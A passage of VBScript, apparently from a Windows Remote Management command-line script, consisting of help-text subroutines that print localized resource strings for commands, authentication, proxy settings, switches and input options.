GetResource("L_HelpHelp_007_0_Message") & NL & _
GetResource("L_HelpHelp_008_0_Message") & NL & _
GetResource("L_HelpHelp_009_0_Message") & NL & _
GetResource("L_HelpHelp_010_0_Message") & NL & _
GetResource("L_HelpHelp_011_0_Message") & NL & _
GetResource("L_HelpHelp_012_0_Message") & NL & _
GetResource("L_HelpHelp_013_0_Message") & NL & _
GetResource("L_HelpHelp_014_0_Message") & NL & _
GetResource("L_HelpHelp_015_0_Message") & NL & _
GetResource("L_HelpHelp_015_1_Message") & NL & _
GetResource("L_HelpHelp_016_0_Message") & NL & _
GetResource("L_HelpHelp_016_1_Message") & NL & _
GetResource("L_HelpHelp_016_3_Message") & NL & _
GetResource("L_HelpHelp_016_4_Message") & NL & _
GetResource("L_HelpHelp_017_0_Message") & NL & _
GetResource("L_HelpHelp_018_0_Message") & NL & _
GetResource("L_HelpHelp_019_0_Message") & NL & _
GetResource("L_HelpHelp_020_0_Message") & NL & _
GetResource("L_HelpHelp_021_0_Message") & NL & _
GetResource("L_HelpHelp_021_2_Message") & NL & _
GetResource("L_HelpHelp_022_0_Message") & NL & _
GetResource("L_HelpHelp_023_0_Message") & NL & _
GetResource("L_HelpHelp_024_0_Message") & NL & _
GetResource("L_HelpHelp_025_0_Message") & NL & _
GetResource("L_HelpHelp_026_0_Message")
End Sub
'''''''''''''''''''''
' HELP - GET
Private Sub HelpGet(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpGet_000_0_Message") & NL & _
GetResource("L_HelpGet_001_0_Message") & NL & _
GetResource("L_HelpGet_002_0_Message") & NL & _
GetResource("L_HelpGet_003_0_Message") & NL & _
GetResource("L_HelpGet_004_0_Message") & NL & _
GetResource("L_HelpGet_005_0_Message") & NL & _
GetResource("X_HelpGet_006_0_Message") & NL & _
GetResource("L_HelpGet_007_0_Message") & NL & _
GetResource("L_HelpGet_008_0_Message") & NL & _
GetResource("X_HelpGet_009_0_Message") & NL & _
GetResource("L_HelpGet_010_0_Message") & NL & _
GetResource("L_HelpGet_014_0_Message") & NL & _
GetResource("X_HelpGet_015_0_Message") & NL & _
GetResource("L_HelpGet_016_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - CONFIGSDDL
Private Sub HelpConfigsddl(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpConfigsddl_000_1_Message") & NL & _
GetResource("L_HelpConfigsddl_001_0_Message") & NL & _
GetResource("L_HelpConfigsddl_002_0_Message") & NL & _
GetResource("L_HelpConfigsddl_002_1_Message") & NL & _
GetResource("L_HelpConfigsddl_003_0_Message") & NL & _
GetResource("L_HelpConfigsddl_004_0_Message") & NL & _
GetResource("L_HelpConfigsddl_005_0_Message") & NL & _
GetResource("L_HelpConfigsddl_005_1_Message") & NL & _
GetResource("L_HelpConfigsddl_006_0_Message") & NL & _
GetResource("L_HelpConfigsddl_010_0_Message") & NL & _
GetResource("L_HelpConfigsddl_011_0_Message") & NL & _
GetResource("X_HelpConfigsddl_012_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - SET
Private Sub HelpSet(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpSet_001_0_Message") & NL & _
GetResource("L_HelpSet_002_0_Message") & NL & _
GetResource("L_HelpSet_003_0_Message") & NL & _
GetResource("L_HelpSet_004_0_Message") & NL & _
GetResource("L_HelpSet_005_0_Message") & NL & _
GetResource("L_HelpSet_006_0_Message") & NL & _
GetResource("L_HelpSet_007_0_Message") & NL & _
GetResource("L_HelpSet_008_0_Message") & NL & _
GetResource("L_HelpSet_009_0_Message") & NL & _
GetResource("X_HelpSet_010_0_Message") & NL & _
GetResource("L_HelpSet_011_0_Message") & NL & _
GetResource("L_HelpSet_012_0_Message") & NL & _
GetResource("X_HelpSet_013_0_Message") & NL & _
GetResource("L_HelpSet_014_0_Message") & NL & _
GetResource("L_HelpSet_018_0_Message") & NL & _
GetResource("X_HelpSet_019_0_Message") & NL & _
GetResource("L_HelpSet_020_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - CREATE
Private Sub HelpCreate(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpCreate_001_0_Message") & NL & _
GetResource("L_HelpCreate_002_0_Message") & NL & _
GetResource("L_HelpCreate_003_0_Message") & NL & _
GetResource("L_HelpCreate_004_0_Message") & NL & _
GetResource("L_HelpCreate_005_0_Message") & NL & _
GetResource("L_HelpCreate_006_0_Message") & NL & _
GetResource("L_HelpCreate_007_0_Message") & NL & _
GetResource("L_HelpCreate_008_0_Message") & NL & _
GetResource("X_HelpCreate_009_0_Message") & NL & _
GetResource("L_HelpCreate_010_0_Message") & NL & _
GetResource("L_HelpCreate_011_0_Message") & NL & _
GetResource("X_HelpCreate_012_0_Message") & NL & _
GetResource("L_HelpCreate_013_0_Message") & NL & _
GetResource("L_HelpCreate_014_0_Message") & NL & _
GetResource("L_HelpCreate_015_0_Message") & NL & _
GetResource("X_HelpCreate_016_0_Message") & NL & _
GetResource("L_HelpCreate_017_0_Message") & NL & _
GetResource("L_HelpCreate_022_0_Message") & NL & _
GetResource("X_HelpCreate_023_0_Message") & NL & _
GetResource("L_HelpCreate_024_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - DELETE
Private Sub HelpDelete(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpDelete_001_0_Message") & NL & _
GetResource("L_HelpDelete_002_0_Message") & NL & _
GetResource("L_HelpDelete_003_0_Message") & NL & _
GetResource("L_HelpDelete_004_0_Message") & NL & _
GetResource("L_HelpDelete_005_0_Message") & NL & _
GetResource("X_HelpDelete_006_0_Message") & NL & _
GetResource("L_HelpDelete_007_0_Message") & NL & _
GetResource("L_HelpDelete_008_0_Message") & NL & _
GetResource("X_HelpDelete_009_0_Message") & NL & _
GetResource("L_HelpDelete_010_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - ENUMERATE
Private Sub HelpEnum(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpEnum_001_0_Message") & NL & _
GetResource("L_HelpEnum_001_1_Message") & NL & _
GetResource("L_HelpEnum_002_0_Message") & NL & _
GetResource("L_HelpEnum_003_0_Message") & NL & _
GetResource("L_HelpEnum_004_0_Message") & NL & _
GetResource("L_HelpEnum_005_0_Message") & NL & _
GetResource("L_HelpEnum_006_0_Message") & NL & _
GetResource("L_HelpEnum_006_1_Message") & NL & _
GetResource("L_HelpEnum_006_2_Message") & NL & _
GetResource("L_HelpEnum_006_3_Message") & NL & _
GetResource("L_HelpEnum_006_4_Message") & NL & _
GetResource("L_HelpEnum_006_5_Message") & NL & _
GetResource("L_HelpEnum_006_6_Message") & NL & _
GetResource("L_HelpEnum_006_7_Message") & NL & _
GetResource("L_HelpEnum_006_8_Message") & NL & _
GetResource("L_HelpEnum_006_9_Message") & NL & _
GetResource("L_HelpEnum_006_10_Message") & NL & _
GetResource("L_HelpEnum_006_11_Message") & NL & _
GetResource("L_HelpEnum_006_12_Message") & NL & _
GetResource("L_HelpEnum_006_13_Message") & NL & _
GetResource("L_HelpEnum_006_14_Message") & NL & _
GetResource("L_HelpEnum_006_15_Message") & NL & _
GetResource("L_HelpEnum_006_16_Message") & NL & _
GetResource("L_HelpEnum_006_17_Message") & NL & _
GetResource("L_HelpEnum_006_18_Message") & NL & _
GetResource("L_HelpEnum_006_19_Message") & NL & _
GetResource("L_HelpEnum_006_20_Message") & NL & _
GetResource("L_HelpEnum_006_21_Message") & NL & _
GetResource("L_HelpEnum_006_22_Message") & NL & _
GetResource("L_HelpEnum_006_23_Message") & NL & _
GetResource("L_HelpEnum_007_0_Message") & NL & _
GetResource("X_HelpEnum_008_0_Message") & NL & _
GetResource("L_HelpEnum_009_0_Message") & NL & _
GetResource("L_HelpEnum_010_0_Message") & NL & _
GetResource("X_HelpEnum_011_0_Message") & NL & _
GetResource("L_HelpEnum_012_0_Message") & NL & _
GetResource("L_HelpEnum_016_0_Message") & NL & _
GetResource("X_HelpEnum_017_0_Message") & NL & _
GetResource("L_HelpEnum_018_0_Message") & NL & _
GetResource("L_HelpEnum_019_0_Message") & NL & _
GetResource("X_HelpEnum_020_0_Message") & NL & _
GetResource("L_HelpEnum_021_0_Message") & NL & _
GetResource("L_HelpEnum_022_0_Message") & NL & _
GetResource("X_HelpEnum_023_0_Message") & NL & _
GetResource("L_HelpEnum_024_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Filters_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - INVOKE
Private Sub HelpInvoke(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpInvoke_001_0_Message") & NL & _
GetResource("L_HelpInvoke_002_0_Message") & NL & _
GetResource("L_HelpInvoke_003_0_Message") & NL & _
GetResource("L_HelpInvoke_004_0_Message") & NL & _
GetResource("L_HelpInvoke_005_0_Message") & NL & _
GetResource("L_HelpInvoke_006_0_Message") & NL & _
GetResource("L_HelpInvoke_007_0_Message") & NL & _
GetResource("L_HelpInvoke_008_0_Message") & NL & _
GetResource("X_HelpInvoke_009_0_Message") & NL & _
GetResource("L_HelpInvoke_010_0_Message") & NL & _
GetResource("L_HelpInvoke_011_0_Message") & NL & _
GetResource("X_HelpInvoke_012_0_Message") & NL & _
GetResource("L_HelpInvoke_013_0_Message") & NL & _
GetResource("X_HelpInvoke_014_0_Message") & NL & _
GetResource("L_HelpInvoke_015_0_Message") & NL & _
GetResource("L_HelpInvoke_016_0_Message") & NL & _
GetResource("X_HelpInvoke_017_0_Message") & NL & _
GetResource("L_HelpInvoke_018_0_Message") & NL & _
GetResource("L_HelpInvoke_019_0_Message") & NL & _
GetResource("L_HelpInvoke_019_1_Message") & NL & _
GetResource("X_HelpInvoke_020_0_Message") & NL & _
GetResource("L_HelpInvoke_021_0_Message") & NL & _
GetResource("L_HelpInvoke_022_0_Message") & NL & _
GetResource("L_HelpInvoke_022_1_Message") & NL & _
GetResource("X_HelpInvoke_023_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - IDENTIFY
Private Sub HelpIdentify(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpIdentify_001_0_Message") & NL & _
GetResource("L_HelpIdentify_003_0_Message") & NL & _
GetResource("L_HelpIdentify_004_0_Message") & NL & _
GetResource("L_HelpIdentify_005_0_Message") & NL & _
GetResource("L_HelpIdentify_006_0_Message") & NL & _
GetResource("L_HelpIdentify_007_0_Message") & NL & _
GetResource("L_HelpIdentify_008_0_Message") & NL & _
GetResource("L_HelpIdentify_009_0_Message") & NL & _
GetResource("X_HelpIdentify_010_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message") & NL & _
GetResource("X_Help_SeeAlso_Remoting_Message")
End Sub
'''''''''''''''''''''
' HELP - HELPMSG
Private Sub HelpMsg(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpHelpMessaage_001_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_002_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_003_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_004_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_006_0_Message")
End Sub
'''''''''''''''''''''
' HELP - AUTH
Private Sub HelpAuth(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpAuth_001_0_Message") & NL & _
GetResource("L_HelpAuth_002_0_Message") & NL & _
GetResource("L_HelpAuth_003_0_Message") & NL & _
GetResource("L_HelpAuth_004_0_Message") & NL & _
GetResource("L_HelpAuth_004_1_Message") & NL & _
GetResource("L_HelpAuth_005_0_Message") & NL & _
GetResource("L_HelpAuth_006_0_Message") & NL & _
GetResource("L_HelpAuth_007_0_Message") & NL & _
GetResource("L_HelpAuth_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthAuth_001_0_Message") & NL & _
GetResource("L_HelpAuthAuth_002_0_Message") & NL & _
GetResource("L_HelpAuthAuth_003_0_Message")
If osVersion >= osVista Then
stream.WriteLine GetResource("L_HelpAuthAuth_004_0_Message")
Else
stream.WriteLine GetResource("L_HelpAuthAuth_004_1_Message")
End If
stream.WriteLine _
GetResource("L_HelpAuthAuth_005_0_Message") & NL & _
GetResource("X_HelpAuthAuth_006_0_Message") & NL & _
GetResource("X_HelpAuthAuth_007_0_Message") & NL & _
GetResource("X_HelpAuthAuth_008_0_Message") & NL & _
GetResource("X_HelpAuthAuth_009_0_Message") & NL & _
GetResource("X_HelpAuthAuth_010_0_Message") & NL & _
GetResource("X_HelpAuthAuth_010_1_Message")
If osVersion >= osVista Then
stream.WriteLine GetResource("X_HelpAuthAuth_010_2_Message")
End If
stream.WriteLine _
GetResource("L_HelpAuthAuth_011_0_Message") & NL & _
GetResource("L_HelpAuthAuth_012_0_Message") & NL & _
GetResource("L_HelpAuthAuth_013_0_Message") & NL & _
GetResource("L_HelpAuthAuth_013_1_Message") & NL & _
GetResource("L_HelpAuthAuth_013_2_Message") & NL & _
GetResource("L_HelpAuthAuth_014_0_Message") & NL & _
GetResource("L_HelpAuthAuth_015_0_Message") & NL & _
GetResource("L_HelpAuthAuth_016_0_Message") & NL & _
GetResource("L_HelpAuthAuth_017_0_Message") & NL & _
GetResource("L_HelpAuthAuth_018_0_Message") & NL & _
GetResource("L_HelpAuthAuth_019_0_Message") & NL & _
GetResource("L_HelpAuthAuth_020_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthUsername_001_0_Message") & NL & _
GetResource("L_HelpAuthUsername_002_0_Message") & NL & _
GetResource("L_HelpAuthUsername_003_0_Message") & NL & _
GetResource("L_HelpAuthUsername_004_0_Message") & NL & _
GetResource("L_HelpAuthUsername_005_0_Message") & NL & _
GetResource("L_HelpAuthUsername_006_0_Message") & NL & _
GetResource("L_HelpAuthUsername_007_0_Message") & NL & _
GetResource("L_HelpAuthUsername_008_0_Message") & NL & _
GetResource("L_HelpAuthUsername_009_0_Message") & NL & _
GetResource("L_HelpAuthUsername_010_0_Message") & NL & _
GetResource("L_HelpAuthUsername_011_0_Message") & NL & _
GetResource("L_HelpAuthUsername_011_1_Message") & NL & _
GetResource("L_HelpAuthUsername_012_0_Message") & NL & _
GetResource("L_HelpAuthUsername_013_0_Message") & NL & _
GetResource("L_HelpAuthUsername_014_0_Message") & NL & _
GetResource("L_HelpAuthUsername_015_0_Message")
If osVersion >= osVista Then
stream.WriteLine GetResource("L_HelpAuthUsername_016_0_Message")
End If
stream.WriteLine _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthPassword_001_0_Message") & NL & _
GetResource("L_HelpAuthPassword_002_0_Message") & NL & _
GetResource("L_HelpAuthPassword_003_0_Message") & NL & _
GetResource("L_HelpAuthPassword_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_001_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_002_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_003_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_004_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_005_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_006_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_007_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_008_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_009_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_010_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - PROXY
Private Sub HelpProxy(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpProxy_001_0_Message") & NL & _
GetResource("X_HelpProxy_002_0_Message") & NL & _
GetResource("X_HelpProxy_002_1_Message") & NL & _
GetResource("X_HelpProxy_003_0_Message") & NL & _
GetResource("X_HelpProxy_004_0_Message") & NL & _
GetResource("L_HelpProxy_005_0_Message") & NL & _
GetResource("L_HelpProxy_006_0_Message") & NL & _
GetResource("L_HelpProxy_007_0_Message") & NL & _
GetResource("X_HelpProxyAccess_001_0_Message") & NL & _
GetResource("L_HelpProxyAccess_002_0_Message") & NL & _
GetResource("L_HelpProxyAccess_003_0_Message") & NL & _
GetResource("L_HelpProxyAccess_004_0_Message") & NL & _
GetResource("L_HelpProxyAccess_005_0_Message") & NL & _
GetResource("X_HelpProxyAccess_006_0_Message") & NL & _
GetResource("X_HelpProxyAccess_007_0_Message") & NL & _
GetResource("X_HelpProxyAccess_008_0_Message") & NL & _
GetResource("X_HelpProxyAccess_009_0_Message") & NL & _
GetResource("L_HelpProxyAccess_010_0_Message") & NL & _
GetResource("L_HelpProxyAccess_011_0_Message") & NL & _
GetResource("L_HelpProxyAccess_012_0_Message") & NL & _
GetResource("L_HelpProxyAccess_013_0_Message") & NL & _
GetResource("L_HelpProxyAccess_014_0_Message") & NL & _
GetResource("L_HelpProxyAccess_015_0_Message") & NL & _
GetResource("L_HelpProxyAuth_001_0_Message") & NL & _
GetResource("L_HelpProxyAuth_002_0_Message") & NL & _
GetResource("L_HelpProxyAuth_003_0_Message") & NL & _
GetResource("L_HelpProxyAuth_004_0_Message") & NL & _
GetResource("L_HelpProxyAuth_005_0_Message") & NL & _
GetResource("X_HelpProxyAuth_007_0_Message") & NL & _
GetResource("X_HelpProxyAuth_008_0_Message") & NL & _
GetResource("X_HelpProxyAuth_009_0_Message") & NL & _
GetResource("L_HelpProxyAuth_010_0_Message") & NL & _
GetResource("L_HelpProxyUsername_001_0_Message") & NL & _
GetResource("L_HelpProxyUsername_002_0_Message") & NL & _
GetResource("L_HelpProxyUsername_003_0_Message") & NL & _
GetResource("L_HelpProxyUsername_005_0_Message") & NL & _
GetResource("L_HelpProxyUsername_006_0_Message") & NL & _
GetResource("L_HelpProxyUsername_007_0_Message") & NL & _
GetResource("L_HelpProxyUsername_008_0_Message") & NL & _
GetResource("L_HelpProxyUsername_009_0_Message") & NL & _
GetResource("L_HelpProxyPassword_001_0_Message") & NL & _
GetResource("L_HelpProxyPassword_002_0_Message") & NL & _
GetResource("L_HelpProxyPassword_003_0_Message") & NL & _
GetResource("L_HelpProxyPassword_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Auth_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - FILTERS
Private Sub HelpFilters(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpFilter_001_0_Message") & NL & _
GetResource("X_HelpFilter_002_0_Message") & NL & _
GetResource("X_HelpFilter_003_0_Message") & NL & _
GetResource("X_HelpFilter_004_0_Message") & NL & _
GetResource("L_HelpFilter_005_0_Message") & NL & _
GetResource("X_HelpFilter_006_0_Message") & NL & _
GetResource("L_HelpFilter_007_0_Message") & NL & _
GetResource("X_HelpFilter_008_0_Message") & NL & _
GetResource("L_HelpFilter_009_0_Message") & NL & _
GetResource("X_HelpFilter_010_0_Message") & NL & _
GetResource("L_HelpFilter_011_0_Message") & NL & _
GetResource("L_HelpFilter_012_0_Message") & NL & _
GetResource("X_HelpFilter_013_0_Message") & NL & _
GetResource("L_HelpFilter_014_0_Message") & NL & _
GetResource("X_HelpFilter_015_0_Message") & NL & _
GetResource("X_HelpFilter_016_0_Message") & NL & _
GetResource("X_HelpFilter_016_1_Message") & NL & _
GetResource("X_HelpFilter_017_0_Message") & NL & _
GetResource("L_HelpFilter_018_0_Message") & NL & _
GetResource("X_HelpFilter_019_0_Message") & NL & _
GetResource("L_HelpFilter_019_1_Message") & NL & _
GetResource("L_HelpFilter_019_2_Message") & NL & _
GetResource("X_HelpFilter_019_3_Message") & NL & _
GetResource("X_HelpFilter_019_4_Message") & NL & _
GetResource("X_HelpFilter_019_5_Message") & NL & _
GetResource("L_HelpFilter_020_0_Message") & NL & _
GetResource("X_HelpFilter_021_0_Message") & NL & _
GetResource("X_HelpFilter_022_0_Message") & NL & _
GetResource("L_HelpFilter_023_0_Message") & NL & _
GetResource("X_HelpFilter_024_0_Message") & NL & _
GetResource("L_HelpFilter_025_0_Message") & NL & _
GetResource("L_HelpFilter_026_0_Message") & NL & _
GetResource("X_HelpFilter_027_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Enumerate_Message")
End Sub
'''''''''''''''''''''
' HELP - SWITCHES
Private Sub HelpSwitches(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpSwitchTimeout_001_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_002_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_003_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_004_0_Message") & NL & _
GetResource("X_HelpSwitchTimeout_005_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSkipCACheck_001_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_002_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_003_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_004_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSkipCNCheck_001_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_002_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_003_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_004_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_005_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSkipRevCheck_001_0_Message") & NL & _
GetResource("X_HelpSwitchSkipRevCheck_002_0_Message") & NL & _
GetResource("L_HelpSwitchSkipRevCheck_003_0_Message") & NL & _
GetResource("L_HelpSwitchSkipRevCheck_004_0_Message") & NL & _
GetResource("L_HelpSwitchSkipRevCheck_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchDefaultCreds_001_0_Message") & NL & _
GetResource("X_HelpSwitchDefaultCreds_002_0_Message") & NL & _
GetResource("L_HelpSwitchDefaultCreds_003_0_Message") & NL & _
GetResource("L_HelpSwitchDefaultCreds_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_001_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_002_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_003_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_004_0_Message") & NL & _
GetResource("X_HelpSwitchDialect_005_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_006_0_Message") & NL & _
GetResource("X_HelpSwitchDialect_007_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_001_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_002_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_003_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_004_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_005_0_Message") & NL & _
GetResource("X_HelpSwitchFragment_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchOption_001_0_Message") & NL & _
GetResource("L_HelpSwitchOption_002_0_Message") & NL & _
GetResource("L_HelpSwitchOption_003_0_Message") & NL & _
GetResource("L_HelpSwitchOption_004_0_Message") & NL & _
GetResource("L_HelpSwitchOption_005_0_Message") & NL & _
GetResource("L_HelpSwitchOption_006_0_Message") & NL & _
GetResource("X_HelpSwitchOption_007_0_Message") & NL & _
GetResource("X_HelpSwitchOption_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSPNPort_001_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_002_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_003_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_004_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_001_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_002_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_003_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_004_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_005_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_006_0_Message") & NL & _
GetResource("X_HelpSwitchEncoding_007_0_Message") & NL & _
GetResource("X_HelpSwitchEncoding_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_001_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_002_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_003_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_004_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_005_0_Message") & NL & _
GetResource("X_HelpSwitchFormat_006_0_Message") & NL & _
GetResource("X_HelpSwitchFormat_007_0_Message") & NL & _
GetResource("X_HelpSwitchFormat_008_0_Message")
End Sub
'''''''''''''''''''''
' HELP - INPUT
Private Sub HelpInput(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpInput_001_0_Message") & NL & _
GetResource("L_HelpInput_002_0_Message") & NL & _
GetResource("L_HelpInput_003_0_Message") & NL & _
GetResource("L_HelpInput_004_0_Message") & NL & _
GetResource("L_HelpInput_005_0_Message") & NL & _
GetResource("L_HelpInput_006_0_Message") & NL & _
GetResource("L_HelpInput_007_0_Message") & NL & _
GetResource("L_HelpInput_008_0_Message") & NL & _
GetResource("L_HelpInput_009_0_Message") & NL & _
GetResource("L_HelpInput_010_0_Message") & NL & _
GetResource("L_HelpInput_011_0_Message") & NL & _
GetResource("L_HelpInput_012_0_Message") & NL & _
GetResource("L_HelpInput_013_0_Message") & NL & _
GetResource("L_HelpInput_014_0_Message") & NL & _
GetResource("L_HelpInput_015_0_Message") & NL & _
GetResource("L_HelpInput_016_0_Message") & NL & _
GetResource("L_HelpInput_017_0_Message") & NL & _
GetResource("L_HelpInput_018_0_Message") & NL & _
GetResource("L_HelpInput_019_0_Message") & NL & _
GetResource("L_HelpInput_020_0_Message") & NL & _
GetResource("L_HelpInput_021_0_Message") & NL & _
GetResource("L_HelpInput_022_0_Message") & NL & _
GetResource("X_HelpInput_023_0_Message") & NL & _
GetResource("X_HelpInput_024_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Set_Message") & NL & _
